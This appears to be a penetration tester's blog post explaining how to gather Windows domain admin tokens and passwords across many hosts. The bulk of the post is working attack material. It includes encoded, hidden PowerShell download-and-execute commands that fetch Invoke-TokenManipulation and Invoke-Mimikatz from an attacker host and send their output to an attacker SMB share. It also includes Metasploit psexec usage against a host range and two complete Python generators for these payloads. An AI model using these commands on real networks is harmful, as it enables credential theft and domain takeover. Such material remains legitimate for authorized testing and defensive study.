January 30, 2015
Account Hunting for Invoke-TokenManipulation
Written by
Larry Spohn
I’ve been searching quite a while now for the best way to search for domain admin tokens, once admin rights are attained on a large number of systems during a pentest. Normally, I run “psexec_loggedin_users” within Metasploit, spool the output to a file, then egrep it for users in the “Domain Admins” group. This often works, but can easily miss systems that have a domain admin kerberos security token still loaded in memory. There are a couple of “Token_Hunter” post modules, but you need to have a shell on the systems to run them, which can take a long time to establish, load incognito, and list tokens. As much as I love shellz, I certainly don’t care to have a couple thousand of them connecting back to my machine. So, I think I’ve finally pieced together a viable method from a couple of articles posted around the Internet.
The first article is from Chris Campbell posted on PentestGeek. It shows us how to download and execute a PowerSploit module using PowerShell, all in memory. A couple of posts have described utilizing this method with Invoke-Mimikatz.ps1, so why not Invoke-TokenManipulation.ps1? For reference: Carnal0wnage, HarmJoy
To setup the environment, I first downloaded PowerSploit to my apache directory:
cd /var/www/ git clone https://github.com/mattifestation/PowerSploit.gitThen configured Samba with an open share to capture the output files:
nano /etc/samba/smb.conf [loot$] comment = Loot path = /root/loot browseable = yes read only = no guest ok = yes public = yesThen create the folder and grant full permissions. I created a folder named “tokens” under “loot”. Then, I stole the “PowerShell encoding” section from David Kennedy's “unicorn” script to encode the following string:
IEX (New-Object Net.WebClient).DownloadString(“http://<attacker_ip>/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1");Invoke-TokenManipulation -Enumerate |Out-File -Encoding "UTF8" -FilePath \\<attacker_ip>\loot$\tokens\$env:computername.txtThis will download “Invoke-TokenManipulation.ps1” from my web host, execute it within memory to enumerate tokens, and pipe the output to my SMB share into a file named as the computer. Now, I just use the “psexec_command” module within Metasploit to execute my encoded string on all systems and rain down tokens into my share.
msf auxiliary(psexec_command) > info Name: Microsoft Windows Authenticated Administration Utility Module: auxiliary/admin/smb/psexec_command License: Metasploit Framework License (BSD) Rank: Normal Provided by: Royce Davis @R3dy__ <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- COMMAND yes The command you want to execute on the remote host RHOSTS 192.168.81.10 yes The target address range or CIDR identifier RPORT 445 yes The Target port SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SMBDomain pwnt.com no The Windows domain to use for authentication SMBPass LoveGoats! no The password for the specified username SMBSHARE C$ yes The name of a writeable share on the server SMBUser TrustedSec no The username to authenticate as THREADS 255 yes The number of concurrent threads WINPATH WINDOWS yes The name of the remote Windows directory Description: This module uses a valid administrator username and password to execute an arbitrary command on one or more hosts, using a similar technique than the "psexec" utility provided by SysInternals. Daisy chaining commands with '&' does not work and users shouldn't try it. This module is useful because it doesn't need to upload any binaries to the target machine. References: http://cvedetails.com/cve/1999-0504/ http://www.osvdb.org/3106 http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access http://sourceforge.net/projects/smbexec/ http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx msf auxiliary(psexec_command) > set command powershell -nop -win hidden -noni -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADgAMQAuADIAMQA5AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8ARQB4AGYAaQBsAHQAcgBhAHQAaQBvAG4ALwBJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAuAHAAcwAxACIAKQA7AEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwAgAHwATwB1AHQALQBGAGkAbABlACAALQBFAG4AYwBvAGQAaQBuAGcAIAAiAFUAVABGADgAIgAgAC0ARgBpAGwAZQBQAGEAdABoACAAXABcADEAOQAyAC4AMQA2ADgALgA4ADEALgAyADEAOQBcAGwAbwBvAHQAJABcAHAAYQBzAHMAdwBvAHIAZABzAFwAJABlAG4AdgA6AGMAbwBtAHAAdQB0AGUAcgBuAGEAbQBlAC4AdAB4AHQA command => powershell -nop -win hidden -noni -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADgAMQAuADIAMQA5AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8ARQB4AGYAaQBsAHQAcgBhAHQAaQBvAG4ALwBJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAuAHAAcwAxACIAKQA7AEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwAgAHwATwB1AHQALQBGAGkAbABlACAALQBFAG4AYwBvAGQAaQBuAGcAIAAiAFUAVABGADgAIgAgAC0ARgBpAGwAZQBQAGEAdABoACAAXABcADEAOQAyAC4AMQA2ADgALgA4ADEALgAyADEAOQBcAGwAbwBvAHQAJABcAHAAYQBzAHMAdwBvAHIAZABzAFwAJABlAG4AdgA6AGMAbwBtAHAAdQB0AGUAcgBuAGEAbQBlAC4AdAB4AHQA msf auxiliary(psexec_command) > run [*] 192.168.81.10:445 - Executing the command... [+] 192.168.81.10:445 - Service start timed out, OK if running a command or non-service executable... [*] checking if the file is unlocked [*] 192.168.81.10:445 - Unable to get handle: The server responded with error: STATUS_SHARING_VIOLATION (Command=45 WordCount=0) [-] Command seems to still be executing. Try increasing RETRY and DELAY [*] 192.168.81.10:445 - Getting the command output... [*] 192.168.81.10:445 - Command finished with no output [*] 192.168.81.10:445 - Executing cleanup... [-] 192.168.81.10:445 - Unable to cleanup \WINDOWS\Temp\GkdedgMwXOVyHble.txt. Error: The server responded with error: STATUS_SHARING_VIOLATION (Command=6 WordCount=0) [-] 192.168.81.10:445 - Unable to cleanup. Maybe you'll need to manually remove true, false from the target. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedThen, just egrep the files to enumerate any domain admins.
root@trustedsec4-lin:~/loot/tokens# egrep -i 'trustedsec|admin' * /dev/null PWNT-DC.txt:Username : TrustedSecAll that's left is to pop a shell on that system, impersonate their token, and escalate privileges on the domain. The “encoding” script was easily modified for Mimikatz as well (it writes to “loot$/passwords/"). To grep the file for a specific user’s password:
root@trustedsec4-lin:~/loot/passwords# grep -A 2 TrustedSec * /dev/null PWNT-DC.txt:User Name : TrustedSec PWNT-DC.txt-Domain : PWNT PWNT-DC.txt-SID : S-1-5-21-999999-88888888888-12000000000-1000 -- PWNT-DC.txt: * Username : TrustedSec PWNT-DC.txt- * Domain : PWNT PWNT-DC.txt- * NTLM : -- PWNT-DC.txt: * Username : TrustedSec PWNT-DC.txt- * Domain : PWNT PWNT-DC.txt- * Password : LoveGoats!Full script source provided below. Happy Hunting! TokenHunter.py
#!/usr/bin/env python # This download "Invoke-TokenManipulation.ps1" from the attacker's webhost, # then execute the script in memory and pipe its output ot the attacker's SMB share # "\\loot$\tokens\". # # Formulated mainly from the following articles/tools # https://www.pentestgeek.com/2013/09/18/invoke-shellcode/ # http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html # http://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/ # https://github.com/trustedsec/unicorn # # Script Dependency # https://github.com/mattifestation/PowerSploit/tree/master/Exfiltration # # TrustedSec import base64 attacker_ip = "<put your IP here>" # Main guts def main(): powershell_code = "IEX (New-Object Net.WebClient).DownloadString(\"http://" + attacker_ip + "/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1\");Invoke-TokenManipulation -Enumerate |Out-File -Encoding \"UTF8\" -FilePath \\\\" + attacker_ip + "\\loot$\\tokens\\$env:computername.txt" full_attack = "powershell -nop -win hidden -noni -enc " + base64.b64encode(powershell_code.encode('utf_16_le')) print full_attack # Standard boilerplate to call the main() function if __name__ == '__main__': main()PasswordHunter.py
#!/usr/bin/env python # This download "Invoke-Mimikatz.ps1" from the attacker's webhost, # then execute the script in memory and pipe its output ot the attacker's SMB share # "\\loot$\passwords\". # # Formulated mainly from the following articles/tools # https://www.pentestgeek.com/2013/09/18/invoke-shellcode/ # http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html # http://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/ # https://github.com/trustedsec/unicorn # # TrustedSec import base64 attacker_ip = "<put your IP here>" # Main guts def main(): powershell_code = "IEX (New-Object Net.WebClient).DownloadString(\"http://" + attacker_ip + "/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1\");Invoke-Mimikatz -DumpCreds |Out-File -Encoding \"UTF8\" -FilePath \\\\" + attacker_ip + "\\loot$\\passwords\\$env:computername.txt" full_attack = "powershell -nop -win hidden -noni -enc " + base64.b64encode(powershell_code.encode('utf_16_le')) print full_attack # Standard boilerplate to call the main() function if __name__ == '__main__': main()This article was written by Larry Spohn @Spoonman1091 | Senior Security Consultant.